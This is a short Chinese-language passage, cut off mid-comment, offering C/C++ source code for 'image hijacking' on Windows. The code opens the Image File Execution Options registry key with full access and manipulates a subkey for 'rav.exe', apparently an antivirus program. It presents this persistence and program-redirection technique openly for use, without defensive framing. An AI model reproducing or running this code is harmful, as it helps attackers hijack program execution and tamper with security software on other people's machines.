VC++实现镜像劫持
#include <stdio.h> #include <windows.h> int main(int argc, char* argv[]) { char temp[256]; DWORD ret; LPCTSTR szRegKey=“SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options”; //定义字符串指针，保存映像劫持的键位 HKEY h_KEY; if(argc!=1) //如果参数不是1个，提取第2个参数，也就是被劫持程序的路径 { memset(temp,0,256); strcpy(temp,argv[1]); for(int i=0;i<strlen(temp);i++) //将路径中的\换为/，也可以换为\，就是代码长了点 { if(temp[i]==’\') temp[i]=’/'; } ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY); //打开注册表中需要映像劫持的子键获得句柄 if(ret==ERROR_SUCCESS) { printf(“open ok!\n”); if(ERROR_SUCCESS==RegDeleteKey(h_KEY,“rav.exe”)) //将上面打……